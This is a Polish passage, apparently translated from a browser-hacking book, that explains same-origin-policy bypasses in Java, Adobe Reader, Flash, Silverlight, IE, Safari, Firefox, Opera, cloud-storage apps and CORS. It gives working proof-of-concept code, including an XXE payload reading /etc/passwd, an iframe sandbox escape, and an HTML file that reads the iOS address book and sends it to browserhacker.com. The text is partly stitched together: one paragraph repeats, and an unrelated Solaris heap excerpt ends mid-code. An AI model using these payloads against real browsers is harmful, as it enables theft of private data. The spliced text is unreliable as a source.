$ cat /etc/hosts/
192.168.0.2 www.browservictim.com
192.168.0.2 www.browserhacker.com

W poniższym aplecie Java wywołanie metody getInfo() powoduje utworzenie nowej instancji obiektu java.net.URL, który służy do pobierania treści z określonego adresu URL hostowanego na stronie www.browserhacker.com:

import java.applet.*;
import java.awt.*;
import java.net.*;
import java.util.*;
import java.io.*;
public class javaAppletSop extends Applet{
public javaAppletSop() {
super();
return;
}
public static String getInfo(){
String result = "";
try {
URL url = new URL("http://www.browserhacker.com" + "/demos/secret_page.html");
BufferedReader in = new BufferedReader(
new InputStreamReader(url.openStream()));
String inputLine;
while ((inputLine = in.readLine()) != null)
result += inputLine;
in.close();
}
catch (Exception exception){
result = "Exception: " + exception.toString();
}
return result;
}
}

Teraz skompiluj poprzedni aplet i umieść go na stronie HTML na www.browservictim.com. Następnie otwórz stronę w Firefoksie za pomocą wtyczki Java w wersji 1.6u45 lub 1.7u17. Aby osadzić aplet, możesz użyć następującego kodu HTML:

< html >
< !--
Tested on:
- Java 1.7u17 and Firefox (CtP allowed)
- Java 1.6u45 and IE 8
-- >
< body >
< embed id='javaAppletSop' code='javaAppletSop'
type='application/x-java-applet'
codebase='http://browservictim.com/' height='0'
width='0'name='javaAppletSop' >< /embed >
< !-- use the following one for IE -- >
< !--
< applet id='javaAppletSop' code='javaAppletSop'
codebase='http://browservictim.com/' height='0'
width='0'name='javaAppletSop' >< /aplet >
-- >
< script >
// 5 secs timeout to wait for the user to allow CtP
function getInfo(){
output = document.javaAppletSop.getInfo();
if (output) alert(output);
}
setTimeout(function(){getInfo();},5000);
< /script >
< /body>
< /html >

Ważna uwaga dotyczy tutaj uprawnień wymaganych przez aplet do korzystania z obiektów URL, BufferedReader i InputStreamReader. W Javie 1.6 wystarczy zwykły niepodpisany aplet i do jego uruchomienia nie jest wymagana interwencja użytkownika (z wyjątkiem najnowszych wersji przeglądarek, w których wszystkie niepodpisane aplety wymagają interwencji użytkownika do uruchomienia). W przypadku Java 1.7 aplet będzie wymagał wyraźnego zezwolenia użytkownika do uruchomienia, co skutkuje obowiązkową interwencją użytkownika w celu zaakceptowania jego wykonania poprzez kliknięcie przycisku Uruchom. Wynika to ze zmian w mechanizmie dostarczania apletów zaimplementowanych przez Oracle w Javie 1.7 od aktualizacji 11 na początku 2013 roku. Teraz użytkownik musi jawnie użyć funkcji Kliknij, aby odtworzyć, aby uruchamiać podpisane i niepodpisane aplety. Początkowa implementacja tej nowej funkcji została ominięta przez Immunity i doprowadziła do późniejszej poprawki przez Oracle. Ponadto w wersji Java 7u21 firma Oracle zaktualizowała okno dialogowe zabezpieczeń Click to Play, aby rozróżniać komunikaty wyświetlane użytkownikowi na podstawie typu apletu. Mimo to, z perspektywy użytkownika końcowego, różnica między dwoma podpisanymi apletami działającymi w wersji Java większej niż 7u21, gdzie jeden jest w trybie piaskownicy, a drugi nie, opiera się na jednym słowie. Jeśli podpisany aplet żąda uprawnień do uruchamiania poza piaskownicą, komunikat wyświetlany użytkownikowi będzie miał postać "…będzie działać z nieograniczonym dostępem…". Jeśli podpisany aplet jest w trybie piaskownicy, komunikatem wyświetlanym użytkownikowi będzie "…będzie działać z ograniczonym dostępem…". Wyraźnie widać subtelną różnicę między wiadomościami. Prawdziwe pytanie brzmi: ilu użytkowników zauważy różnicę? Niemniej jednak Click to Play skutecznie unieważnia Javę jako ukrytą opcję obejścia SOP. Mario Heiderich odkrył dziwactwo Javy, gdy LiveConnect API i wtyczka Java są dostępne w Firefoksie. LiveConnect udostępnia obiekt Packages DOM w Firefoksie 15 i wcześniejszych. Ten obiekt umożliwia bezpośrednie wywoływanie obiektów i metod Javy z DOM. Przykład obejścia przy użyciu obiektu DOM Packages jest następujący:

< script >
var url = new Packages.java.net.URL("http://browservictim.com/cookie.php");
var is = new Packages.java.io.BufferedReader(
new Packages.java.io.InputStreamReader(url.openStream()));
var data = '';
while ((l = is.readLine()) != null) {
data+=l;
}
alert(data)
< /script >

Gdy ten kod Java jest wywoływany przy użyciu pakietów, istnieje potencjalnie niebezpieczny efekt uboczny. Jeśli kod jest wykonywany w Javie 1.7 przy użyciu przeglądarki Firefox 15 lub wcześniejszej, omawiana wcześniej funkcja Kliknij, aby odtworzyć jest całkowicie pomijana. Jeśli przeglądarką jest Firefox, a interfejs API LiveConnect jest włączony, cichy charakter tego zachowania skutecznie zwiększa przydatność apletów Java do celów obejścia SOP. Innym interesującym błędem obejścia SOP w Javie jest CVE-2011-3546, załatany po dziesięciu miesiącach pod koniec 2011 roku. Podobne obejście SOP zostało znalezione w programie Adobe Reader i jest omówione w następnej sekcji. Neal Poole odkrył, że jeśli zasób użyty do załadowania apletu odpowiadał przekierowaniem 301 lub 302, pochodzenie apletu było oceniane jako źródło przekierowania, a nie miejsce docelowe. Rozważ następujący kod:

< applet
code="malicious.class"
archive="http://browservictim.com?redirect_to=
http://browserhacker.com/malicious.jar"
width="100" height="100" >< /applet >

Można słusznie oczekiwać, że SOP będzie egzekwowane, jeśli aplet spróbuje uzyskać dostęp do browservictim.com. Oczywiście w tej sytuacji również powinien zostać zgłoszony błąd naruszenia SOP. W ten sposób powinna zachowywać się niewadliwa implementacja SOP, ponieważ źródłem apletu jest browserhacker.com. Zamiast tego wersje Java 1.7 i 1.6 aktualizują 27 (i wcześniejsze wersje) uważały źródło przekierowania za prawidłowe źródło. W praktyce oznacza to, że możesz odczytać zawartość każdego pochodzenia, na którą ma wpływ luka w zabezpieczeniach Open Redirection. Aplet ładuje się z miejsca docelowego przekierowania (czyli strony internetowej kontrolowanej przez atakującego), a źródłem przekierowania jest źródło ofiary (podatne na Open Redirection). Frederik Braun odkrył kolejne interesujące obejście SOP w wersji Java 1.7 Update 5 i wcześniejszych, które Oracle następnie rozwiązało w Java 1.7 Update 9. Obejście dotyczyło obiektu URL Javy (który był również używany w poprzednich przykładach) umieszczającego na czarnej liście użycie schematów URI, takich jak ftp i złożyć wniosek o crossorigin. Dozwolony był jednak schemat jar, co pozwoliło ci stworzyć całkowicie poprawny identyfikator URI, taki jak:

jar:http://browserhacker.com/secret.jar

Te identyfikatory URI jar mogą być używane podczas tworzenia nowego wystąpienia obiektu URL. W tym przypadku SOP nie był egzekwowany, więc niepodpisany aplet Java ładowany z browserhacker.com mógł żądać plików JAR o różnym pochodzeniu, skutecznie odczytując zawartość. Skutki tego obejścia SOP nie ograniczały się tylko do plików JAR. Format JAR to zasadniczo plik ZIP z katalogiem Manifest i META-INF. Formaty dokumentów Microsoft Office i Open Office są takie same, co oznacza, że możesz czytać dowolny plik docx, odt, jar i ogólnie dowolny plik archiwum oparty na formacie zip przy użyciu tego SOP omijającego różne źródła. Te identyfikatory URI jar mogą być używane podczas tworzenia nowego wystąpienia obiektu URL. W tym przypadku SOP nie był egzekwowany, więc niepodpisany aplet Java ładowany z browserhacker.com mógł żądać plików JAR o różnym pochodzeniu, skutecznie odczytując zawartość. Skutki tego obejścia SOP nie ograniczały się tylko do plików JAR. Format JAR to zasadniczo plik ZIP z katalogiem Manifest i META-INF. Formaty dokumentów Microsoft Office i Open Office są takie same, co oznacza, że możesz czytać dowolny plik docx, odt, jar i ogólnie dowolny plik archiwum oparty na formacie zip przy użyciu tego SOP omijającego różne źródła. Poniższy kod może zostać użyty do odczytania zawartości dokumentu Open Office za pomocą omówionego wcześniej obejścia SOP:

import java.awt.*; import java.applet.Applet ;
import java.io.* ; import java.net.*;
public class zipSopBypass extends Applet {
private TextArea ltArea = new TextArea("", 100, 300);
public void init (){
add(ltArea);
}
public void paint (Graphics g) {
g.drawString("Reading file content in JAR...", 80, 80);
// the applet is loaded from
//the http://browserhacker.com origin
String url = "jar:https://browservictim.com/"+
"stuff/confidential.odt!/content.xml";
String content = "";
try{
URL u = new URL(url);
BufferedReader ff = new BufferedReader(
new InputStreamReader(u.openStream())
);
while (ff.ready()){
content += ff.readLine();
}
}catch(Exception e){
g.drawString( "Error",100,100);
}
ltArea.setText(content);
g.drawString(content ,100,100);
}
}

Zauważ, że zmienna url z poprzedniego kodu wskazuje na zasób content.xml zawarty w archiwum pliku odt. W dokumentach Open Office każdy plik zawiera zasób content.xml. Prawie wszystkie obejścia Java SOP opisane na poprzednich stronach zostały załatane przez Oracle. Jednak według firm zajmujących się bezpieczeństwem, takich jak WebSense i Bit9, większość przedsiębiorstw nadal używa starych i podatnych na ataki wersji Javy. Około lipca 2013 r. Bit9 zebrał statystyki użytkowania Javy od prawie 400 organizacji za pomocą usługi reputacji oprogramowania Bit9. W sumie przebadano około 1 miliona korporacyjnych systemów końcowych. Około 80 procent tych systemów wykorzystywało Javę 6. W tych środowiskach nadal można było uruchamiać niepodpisane aplety bez interwencji użytkownika. Kontrola bezpieczeństwa Click to Play została wprowadzona w najnowszych przeglądarkach oraz w samej Javie. Możesz oczekiwać, że uniemożliwi to Ci wykorzystywanie apletów Java w hakowaniu przeglądarki. W rzeczywistości, chociaż to cię spowolni, niekoniecznie cię powstrzyma. Nie zapomnij, że Internet Explorer 9 i starsze wersje nie obsługują funkcji Click to Play. Ponadto, zgodnie z badaniem Bit9, 93 procent organizacji miało wiele wersji Javy zainstalowanych na tym samym komputerze. Oznacza to, że nadal istnieje wiele możliwości korzystania z Javy podczas włamywania się do przeglądarki. W przypadku systemów z wieloma wersjami języka Java można kierować reklamy na starsze wersje i przeglądarki, które nie wykorzystują kontrolki "kliknij, aby odtworzyć". Powszechna obecność wtyczki Java sprawia, że jest ona idealnym celem dla atakujących. Eric Romang podsumował oś czasu zerowych dni Javy, które doprowadziły do wykonania dowolnego kodu. Chociaż nie są to obejścia SOP, oś czasu sugeruje, czego możesz się spodziewać w przyszłości.


Omijanie SOP w Adobe Reader

Adobe Reader jest niesławny z powodu liczby błędów bezpieczeństwa, które zostały znalezione we wtyczce przeglądarki. Istnieje pozornie niezliczona liczba błędów wykonania dowolnego kodu, spowodowanych takimi klasycznymi problemami, jak przepełnienia i luki w zabezpieczeniach Use After Free. Bardziej bezpośrednie ataki na Adobe Reader zostaną omówione w sekcji "Atakowanie czytników PDF" w Części 8, ale ważne jest, aby zrozumieć, w jaki sposób błędy we wtyczce mogą pomóc ominąć SOP. Jak być może wiesz, parser Adobe Reader PDF rozumie JavaScript. Ten atrybut jest często używany przez złośliwe oprogramowanie do ukrywania złośliwego kodu w plikach PDF. Jedną z tych wad, które umożliwiły ominięcie SOP, jest CVE-2013-0622, odkryta przez Billy'ego Riosa, Federico Lanusse i Mauro Gentile. Atak (teraz załatany w Adobe Reader w wersjach wyższych niż 11.0.0) był podobny do drugiego obejścia SOP omówionego wcześniej w sekcji Java, gdzie wykorzystanie otwartego przekierowania umożliwiłoby obcemu pochodzeniu dostęp do źródła przekierowania. Podobnie jak w przypadku tego ataku, do wykorzystania luki wykorzystywane jest żądanie zwracające kod odpowiedzi przekierowania 302. Innym interesującym aspektem tego błędu jest to, że SOP nie został wymuszony podczas określania zasobu przy użyciu zewnętrznego podmiotu XML (XXE). Konwencjonalne wstrzykiwanie XXE polega na próbie wstrzyknięcia złośliwych ładunków do żądań akceptujących dane wejściowe XML, takie jak:

< !DOCTYPE foo [ < !ELEMENT foo DOWOLNY >
< !ENTITY xxe SYSTEM "/etc/passwd" >] >< foo>&xxe;

Jeśli parser XML zezwala na zewnętrzne encje, wartość &xxe jest zastępowana zawartością /etc/passwd. Ta sama technika może być użyta do obejścia SOP. Polega na załadowaniu (jako podmiot zewnętrzny) zasobu i odpowiedzi serwera z przekierowaniem 302. Prawdziwy zasób, który chcesz pobrać, jest celem przekierowania. Rozważ następujący fragment kodu JavaScript, który jest zawarty w pliku PDF:

var xml="< ?xml version=\"1.0\" encoding=\"ISO-8859-1\"? >
< !DOCTYPE foo [ < ! ENTITY xxe
SYSTEM \"http://browserhacker.com?redirect=
http%3A%2F%2Fbrowservictim.com%2Fdocument.txt\" > ]>
< foo>&xxe;";
var xdoc = XMLData.parse(xml,false);
app.alert(escape(xdoc.foo.value));

Po załadowaniu pliku PDF wykonywany jest poprzedni kod JavaScript. Żądanie GET jest wysyłane do browserhacker.com, który odpowiada odpowiedzią HTTP 302, przekierowującą do wartości parametru redirect. Powoduje to pobranie i przetworzenie pliku document.txt (z browservictim.com). Pochodzenie http://browserhacker.com nie powinno mieć dostępu do treści pochodzących z http://browservictim.com. Jest to wyraźnie luka w zabezpieczeniach implementacji SOP Adobe Reader, ponieważ należy czytać tylko zasoby z tego samego pochodzenia, z którego załadowano plik PDF. W tym przypadku czytasz zasób z innego źródła niż ten, w którym załadowano plik PDF. Wykorzystanie tego błędu ma jednak pewne ograniczenia, które można ogólnie zastosować do błędów wstrzykiwania XXE. Zasób, który ma zostać pobrany, musi być zwykłym dokumentem lub typem dokumentu XML; w przeciwnym razie parser XML zgłosi błąd.

Omijanie SOP w Adobe Flash

Adobe Flash wykorzystuje plik crossdomain.xml. Podobnie jak w przypadku innych aplikacji, ten plik kontroluje witryny, w których Flash może odbierać dane. Chociaż ten plik powinien być ograniczony tylko do zaufanych witryn, nadal często można znaleźć liberalne pliki zasad crossdomain.xml. Oto przykład:

< ?xml version="1.0"? >
< cross-domain-policy >
< site-control permitted-cross-domain-policies="by-content-type"/ >
< allow-access-from domain="*" />
< /cross-domain-policy >

Poprzez ustawienie zezwolenia na dostęp z domeny, obiekt Flash ładowany z dowolnego źródła może wysyłać żądania i odczytywać odpowiedzi w domenie, która obsługuje tak liberalną politykę. Zapewnienie, że domena jest ograniczona tylko do zaufanych hostów, jest również niezwykle ważne, ponieważ oznacza to, że każda przechwycona przeglądarka może nawiązać dwukierunkową komunikację z zaatakowaną aplikacją za pomocą Flasha.

Omijanie SOP w Silverlight

Wtyczka Silverlight firmy Microsoft wykorzystuje tę samą zasadę SOP, co Flash. Aby osiągnąć tę samą komunikację między źródłami, witryna opublikuje plik o nazwie clientaccess-policy.xml zawierający następujące elementy:

< ?xml version="1.0" encoding="utf-8"? >
< access-policy >
< cross-domain-access >
< policy >
< allow-from >
< domain uri="*"/ >
< /allow-from >
< grant-to >
< resource path="/" include-subpaths="true"/ >
< /grant-to >
< /policy >
< /cross-domain-access > < /access-policy >

Należy zauważyć różnicę między implementacjami komunikacji między źródłami we Flashu i Silverlight. Silverlight nie segreguje dostępu między różnymi źródłami na podstawie schematu i portu, w przeciwieństwie do Flash i CORS. W konsekwencji Silverlight rozważy http://browserhacker.com i https://browserhacker.com jako ten sam początek. Wprowadza to poważny problem, ponieważ tworzy mostek z HTTP do HTTPS. Jeśli możesz uzyskać złośliwą zawartość przez HTTP, uzyskasz dostęp do (potencjalnie wrażliwej) zawartości zabezpieczonej przez HTTPS.

Omijanie SOP w Internet Explorerze

Internet Explorer również nie był bez obejścia SOP. Jednym z przykładów jest Internet Explorer w wersjach wcześniejszych niż 8 Beta 2 (w tym IE 6 i 7). Te wersje przeglądarek były podatne na obejście SOP14 podczas implementacji document.domain. Błąd był dość łatwy do wykorzystania, jak wykazał Gareth Heyes. Polegała ona na prostym zastąpieniu obiektu document, a następnie właściwości domeny. Poniższy fragment kodu demonstruje tę lukę:

var document;
document = {};
document.domain = 'browserhacker.com';
alert(document.domain);

Jeśli spróbujesz uruchomić ten kod w najnowszych przeglądarkach, zauważysz błąd naruszenia SOP w konsoli JavaScript. Jednak będzie działać w starszych wersjach Internet Explorera. Wykorzystując ten kod jako część XSS, masz możliwość otwarcia SOP, aby utworzyć dwukierunkową komunikację z innymi źródłami.

Omijanie SOP w Safari

W ramach SOP różne schematy są traktowane jako różne źródła. Dlatego adres http://localhost jest traktowany jako inny niż file://localhost. Można by zrozumieć, że SOP jest egzekwowane w równym stopniu w różnych systemach. Cóż, jak zobaczysz w tej sekcji, istnieje kilka godnych uwagi wyjątków od schematu plików, który zwykle jest uważany za strefę uprzywilejowaną. Przeglądarka Safari, od 200716 do obecnej (w chwili pisania tego tekstu) wersji 6.0.2, nie wymusza SOP podczas dostępu do zasobu lokalnego. Jeśli zdarzy ci się uruchomić JavaScript w przeglądarce Safari, możesz spróbować nakłonić użytkownika do pobrania i otwarcia pliku lokalnego. Połączenie tej luki ze starannie spreparowanym e-mailem socjotechnicznym z załączonym złośliwym plikiem HTML wystarczy, aby nadużyć tej sytuacji. Gdy załączony plik HTML zostanie otwarty przy użyciu schematu plików, zawarty w nim kod JavaScript może ominąć SOP i rozpocząć dwukierunkową komunikację o różnym pochodzeniu. Rozważ następującą stronę:

< html >
< body >
< h1 > I'm a local file loaded using the file:// scheme < /h1 >
< script >
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function (){
if (xhr.readyState == 4) {
alert(xhr.responseText);
}
};
xhr.open("GET",
"http://browserhacker.com/pocs/safari_sop_bypass/different_orig.html");
xhr.send();
< /script >
< /body >
< /html >

Gdy strona jest ładowana przy użyciu schematu pliku, obiekt XMLHttpRequest może odczytać odpowiedź po zażądaniu different_orig.html z browserhacker.com. Na rysunku 4-3 widać wynik tego zachowania, gdzie zawartość pobranej strony jest dodawana do okna dialogowego alertu. Rysunek 4-3: Treść z zasobu cross-origin jest poprawnie pobierana, jeśli kod JavaScript jest ładowany przy użyciu schematu file:. I odwrotnie, jeśli spróbujesz załadować tę samą stronę z innym schematem, na przykład http, zauważysz, że okno dialogowe alertu będzie puste.


Omijanie SOP w Firefoksie

Jedno z ciekawszych ominięć SOP w Firefoksie zostało wykryte przez Garetha Heyesa w październiku 2012 r. Błąd był tak poważny, że Mozilla zdecydowała się usunąć możliwość pobierania Firefoksa 16 ze swoich serwerów, dopóki błąd nie zostanie naprawiony. Ponieważ poprzednie wersje nie były podatne na ataki, zakłada się, że błąd został wprowadzony w ramach aktualizacji, ale nie został wykryty podczas testów regresji w Firefoksie 16. Luka spowodowała nieautoryzowany dostęp do obiektu window.location poza ograniczeniami SOP. Oto oryginalny Proof of Concept (PoC) firmy Heyes:

< !doctype html >
< script >
function poc() {
var win = window.open('https://twitter.com/lists/', 'newWin',
'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/twitter.com\/([^/]+)/.exec(
win.location)[1])
}, 5000);
}
< /script >
< input type=button value="Firefox knows" onclick="poc()" >

Wykonywanie poprzedniego kodu ze źródła, które kontrolujesz (na przykład browserhacker.com), a jednocześnie uwierzytelnienie na Twitterze na innej karcie rozpocznie atak. Otworzy się nowe okno, które ładuje https://twitter.com/lists. Twitter następnie automatycznie przekierowuje do https://twitter.com//lists(gdzie user_id to Twój uchwyt na Twitterze). Po 5 sekundach funkcja exec spowoduje przetworzenie obiektu window.location do parsowania (tutaj jest błąd, ponieważ nie powinien być dostępny z różnych źródeł) z wyrażeniem regularnym. Powoduje to wyświetlenie uchwytu Twittera w polu alertu. Około sierpnia 2012 r. Firefox wprowadził obsługę ramek IFramek w piaskownicy HTML5. Braun odkrył, że używając skryptów zezwalających jako wartości atrybutu piaskownicy IFrame, nieuczciwy kod JavaScript z zawartości IFrame może nadal mieć dostęp do window.top. Zaowocowało to możliwością zmiany położenia okna zewnętrznego:
< !-- Plik zewnętrzny z piaskownicą -- >
< iframe src="inner.html" sandbox="allow-scripts" >< /iframe >

Kod w ramce to:

< !-- Framed document , inner.html -- >
< script >
// escape sandbox:
if(top != window) { top.location = window.location; }
// all following JavaScript code and markup is unrestricted:
// plugins, popups and forms allowed.
< /script >

Było to możliwe bez konieczności określania dodatkowego słowa kluczowego allowtop-navigation i umożliwiło kodowi JavaScript załadowanemu wewnątrz ramki IFrame zmianę lokalizacji zewnętrznego okna. Osoba atakująca może to wykorzystać do przekierowania użytkownika na złośliwą stronę internetową, skutecznie przechwytując przeglądarkę ofiary.

IRAMY W PIASKOWNICY

W HTML5 wprowadzono nowy atrybut IFrame: sandbox. Celem tego nowego atrybutu było zapewnienie bardziej szczegółowego i bezpiecznego sposobu korzystania z ramek IFrame, przy jednoczesnym ograniczeniu potencjalnych szkód związanych z osadzonymi treściami stron trzecich o różnym pochodzeniu. Wartość atrybutu sandbox może wynosić zero lub więcej z następujących słów kluczowych: allow-forms, allow-popups, allow-same-origin, allow-scripts i allow-top-navigation.

Omijanie SOP w Operze

Jeśli spojrzysz na dzienniki zmian Opery dla stabilnej wersji 12.10, zauważysz różne poprawki błędów bezpieczeństwa. Jedną z tych łat jest obejście SOP wykryte przez Heyes. Błąd polega na tym, że Opera nie wymuszała poprawnie SOP podczas nadpisywania prototypów, w tym przypadku podczas nadpisywania konstruktora obiektu lokalizacji IFrame. Rozważ następujący kod:

< html >
< body >
< iframe id="ifr" src="http://browservictim.com/xdomain.html" >< /iframe >
< script >
var iframe = document.getElementById('ifr');
function do_something(){
var iframe = document.getElementById('ifr');
iframe.contentWindow.location.constructor.
prototype.__defineGetter__.constructor('[].constructor.
prototype.join=function(){console.log("pwned")}')();
}
setTimeout("do_something()",3000);
< /script >
< /body >
< /html >

Poniżej znajduje się treść oprawiona z innego źródła:

< html >
< body >
I will be framed from a different origin
< script >
function do_join(){
[1,2,3].join();
console.log("join() after prototype override: "
+ [].constructor.prototype.join);
}
console.log("join() after prototype override: "
+ [].constructor.prototype.join);
setTimeout("do_join();", 5000);
< /script >
< /body >
< /html >

Kod w ramce wyświetla w konsoli wartość [].constructor .prototype.join, która jest natywnym kodem używanym, gdy na tablicy wywoływana jest funkcja join(). Po 5 sekundach metoda join() jest wywoływana na tablicy [1,2,3], a funkcja drukowania użyta poprzednio jest wywoływana ponownie. Drugie wywołanie pokazuje różnicę po zastąpieniu prototypu join(). Jeśli spojrzysz wstecz na pierwszy fragment kodu, możesz zobaczyć, gdzie prototyp join() został nadpisany w funkcji do_something(). Skupmy się ponownie na następującym kodzie z pierwszego fragmentu kodu:

iframe.contentWindow.location.constructor.
prototype.__defineGetter__.constructor('[].constructor.
prototype.join=function(){console.log("przesłane")}')();

Zauważ, że możesz wywołać iframe.contentWindow.location.constructor bez żadnych błędów naruszenia SOP. To jest zepsute zachowanie, ponieważ SOP powinno być egzekwowane. Idąc krok dalej, chcesz sprawdzić, czy rzeczywiście możesz wykonać kod po zakończeniu nadpisywania prototypu. Heyes odkrył również obejście SOP, nadpisując prototypy za pomocą wartości dosłownych, które nie były filtrowane przez Operę. Biorąc wartość literału tablicy [] i wykonując nadpisanie prototypu metody join() za pomocą poniższych instrukcji, możliwe jest wykonanie dowolnego kodu za każdym razem, gdy treść w ramce wywołuje metodę join() na dowolnej tablicy:

[].constructor.prototype.join=function(){twój_kod};

Istnieje warunek wstępny korzystania z tego obejścia: tylko witryny z ramkami mogą być kierowane. Dlatego źródła korzystające z opcji X-Frame-Options lub kodu pomijającego ramki są poza zakresem tego obejścia SOP. Inną kwestią, o której warto wspomnieć, jest to, że możesz przesłonić dowolne prototypy za pomocą wartości dosłownych, nie tylko metody Array .join(). Możesz nadpisać na przykład toString() w następujący sposób:

"".constructor.prototype.toString=function(){alert(1)}

W prawdziwym ataku możesz chcieć oprawić zasób, prawdopodobnie uwierzytelniony, w którym sesyjne pliki cookie są już przechowywane w przeglądarce, i użyć tego obejścia SOP, aby odczytać zawartość oprawionego zasobu. Zasób w ramce będzie zawierał głównie prywatne dane użytkownika, ponieważ prawidłowe pliki cookie sesji są używane podczas ładowania zasobu. Rozważ sytuację, w której docelowa przeglądarka ma otwarte dwie zakładki w Operze: jedna z nich to podpięta zakładka (kontrolujesz ją), a druga to uwierzytelnione pochodzenie celu. Jeśli utworzysz ramkę IFrame, której źródło jest uwierzytelnionym źródłem (w zahaczonej karcie), możesz odczytać zawartość ramki IFrame. Oznacza to, że będziesz mógł uzyskać dostęp do wszelkich poufnych informacji, które znajdują się w uwierzytelnionym pochodzeniu celu. Skutkiem takiego ataku byłoby odczytanie zawartości zasobu cross-origin i skuteczne ominięcie SOP.

Omijanie SOP w Cloud Storage

Problemy z egzekwowaniem SOP nie ograniczają się tylko do przeglądarek i ich wtyczek. W 2012 r. stwierdzono również, że szereg usług przechowywania w chmurze ma słabe punkty SOP. Dotyczyło to Dropbox 1.4.6 na iOS i 2.0.1 na Android22 oraz Dysku Google 1.0.1 na iOS.23 Usługi te umożliwiają przechowywanie i synchronizację lokalnych plików z chmurą. Ma to na celu udostępnienie ich w dowolnym miejscu na innych urządzeniach, na których zainstalowano klientów Dropbox lub Dysku Google. Roi Saltzman odkrył błąd podobny do obejścia Safari SOP omówionego w poprzedniej sekcji. Ten błąd wpłynął zarówno na Dropbox, jak i na Dysk Google. Atak polega na załadowaniu pliku w strefie uprzywilejowanej, takiej jak: file:///var/mobile/Applications/APP_UUID. Jeśli jesteś w stanie nakłonić cel do załadowania pliku HTML za pośrednictwem aplikacji klienckiej, kod JavaScript zawarty w pliku zostanie wykonany. Fakt, że plik jest ładowany w strefie uprzywilejowanej, umożliwia dostęp JavaScript do lokalnego systemu plików urządzenia mobilnego. Należy zauważyć, że egzekwowanie tutaj SOP jest wadliwe z założenia. Ponieważ złośliwy plik HTML jest ładowany przy użyciu schematu plików, nic nie uniemożliwia JavaScriptowi uzyskania dostępu do innego pliku, takiego jak:

file:///var/mobile/Library/AddressBook/AddressBook.sqlitedb

Ta baza danych SQLite zawiera książkę adresową użytkownika w systemie iOS. Oczywiście plik ten musi być dostępny dla aplikacji. Jeśli docelowa aplikacja odmówi dostępu do plików spoza zakresu aplikacji, nadal możesz pobierać pliki z pamięci podręcznej itp. Dostęp wynikający z tego rodzaju luki będzie w dużej mierze zależny od aplikacji, której dotyczy luka. Jeśli oszukasz cel, który korzysta z podatnych na ataki klientów Dropbox lub Dysku Google, do otwarcia następującego złośliwego pliku, zawartość książki adresowej użytkownika zostanie wysłana na adres browserhacker.com:

< html >
< body >
< script >
local_xhr = new XMLHttpRequest();
local_xhr.open("GET", "file:///var/mobile/Library/AddressBook/
AddressBook.sqlitedb");
local_xhr.send();
local_xhr.onreadystatechange = function () {
if (local_xhr.readyState == 4) {
remote_xhr = new XMLHttpRequest();
remote_xhr.onreadystatechange = function () {}; remote_xhr.open("GET", "http://browserhacker.com/?f=" +
encodeURI(local_xhr.responseText));
remote_xhr.send();
}
}
< /script >
< /body >
< /html >

Ten atak demonstruje kilka różnych metod eksploatacji dostępnych dzięki użyciu dobrze zakorzenionego JavaScriptu. JavaScript jest często uruchamiany w wielu różnych środowiskach i kontekstach, nie tylko w przeglądarkach internetowych. W przypadku ataku na iOS, exploit działał wewnątrz obiektu UIWebView w aplikacji Dropbox lub Google. Obiekt UIWebView jest często używany jako forma osadzonego okna przeglądarki w natywnych aplikacjach iOS. Inną godną uwagi kwestią tego ataku jest to, że był on wymierzony w mobilne systemy operacyjne, a nie tradycyjne środowiska komputerowe. Ze względu na ograniczenia rozmiaru widocznego interfejsu użytkownika tego rodzaju zadania mogą często występować bez świadomości celu.

Omijanie SOP w CORS

Chociaż współużytkowanie zasobów między źródłami (CORS) to świetny sposób na złagodzenie SOP, łatwo jest je błędnie skonfigurować bez pełnego zrozumienia wpływu rozluźnionej polityki na bezpieczeństwo. Oto przykład potencjalnej błędnej konfiguracji:

Access-Control-Allow-Origin: *

W listopadzie 2012 r. firma Veracode przeprowadziła badanie analizujące nagłówki HTTP z miliona najpopularniejszych witryn Alexy.24 Ponad 2000 unikalnych źródeł pochodzenia zwróciło wartość wieloznaczną w nagłówku Access-Control-Allow-Origin. To skutecznie umożliwia dowolnej innej witrynie w Internecie przesyłanie żądań między źródłami do witryn i odczytywanie odpowiedzi. W praktyce oznacza to, że atakujący ma odpowiednik obejścia SOP dla wszystkich tych domen. W zależności od funkcjonalności aplikacji internetowej, wyniki takiej konfiguracji mogą być katastrofalne. Z przechwyconej przeglądarki o innym pochodzeniu, źródła te mogą zostać przechwycone i zaatakowane w znacznie bardziej niezawodny sposób niż w sytuacji, w której SOP jest wymuszany. Oczywiście mogą wystąpić przypadki, w których wartość symbolu wieloznacznego dla kontroli dostępu Allow-Origin nie jest niepewne. Na przykład, jeśli zezwalająca zasada jest używana tylko do dostarczania treści, które nie zawierają poufnych informacji. Podczas analizowania aplikacji, która ustawia nagłówki CORS, zawsze ważne jest zrozumienie relacji między dozwolonymi źródłami. Dzieje się tak nawet wtedy, gdy nie jest używana wartość symbolu wieloznacznego. Wiele źródeł może mieć możliwość łączenia się z tym samym celem. Tak więc standardowa luka XSS w tych dozwolonych źródłach może wystarczyć do nadużycia docelowej funkcjonalności między źródłami. Wszystkie te przykłady obejścia SOP są przedstawione jako ilustracje koncepcyjne - w żadnym wypadku nie uważa się ich za wyczerpującą listę. Można tu opisać inne wektory, a z pewnością wiele innych wciąż czeka na upublicznienie. Zachęcamy do zastanowienia się nad relacjami między różnymi odmianami i nad wspólnymi aspektami, które wykorzystują. Obejścia SOP polegające na przekierowaniach 301 lub 302 wraz ze schematami, takimi jak plik, prawie na pewno będą powszechne w nowych błędach egzekwowania SOP, które zostaną wykryte w przyszłości.





Abecadło Shellcodera (LXV)



• Zanim zaczniesz …

• Stack Overflows

• Kod Powłoki

• Wprowadzenie do błędów w ciągach formatujących

• Wprowadzenie do przepełnień sterty

• Inne platformy - Windows, Solaris, OS/X i Cisco

• Kod powłoki systemu Windows

• Przepełnienie Windows

• Pokonywanie filtrów


Kawałek Bottom

Kawałek Bottom to ostatnia porcja przed końcem sterty i pamięci niestronicowanej. Ta porcja jest traktowana jako przypadek szczególny w większości implementacji sterty i Solaris nie jest wyjątkiem. Część Bottom jest prawie zawsze wolna, jeśli jest obecna, dlatego nawet jeśli jej nagłówek jest uszkodzony, nigdy nie zostanie zwolniona. Alternatywa jest konieczna, jeśli masz pecha, aby móc uszkodzić tylko dolny fragment. Poniższy kod można znaleźć w _malloc_unlocked:

/* jeśli nie znaleziono żadnego pasującego do drzewa */
/* if found none fitted in the tree */
if (!sp) {
if (Bottom && size <= SIZE(Bottom)) {
sp = Bottom;
&hellp;
/* if the leftover is enough for a new free piece */
if ((n = (SIZE(sp) - size)) >= MINSIZE + WORDSIZE) {
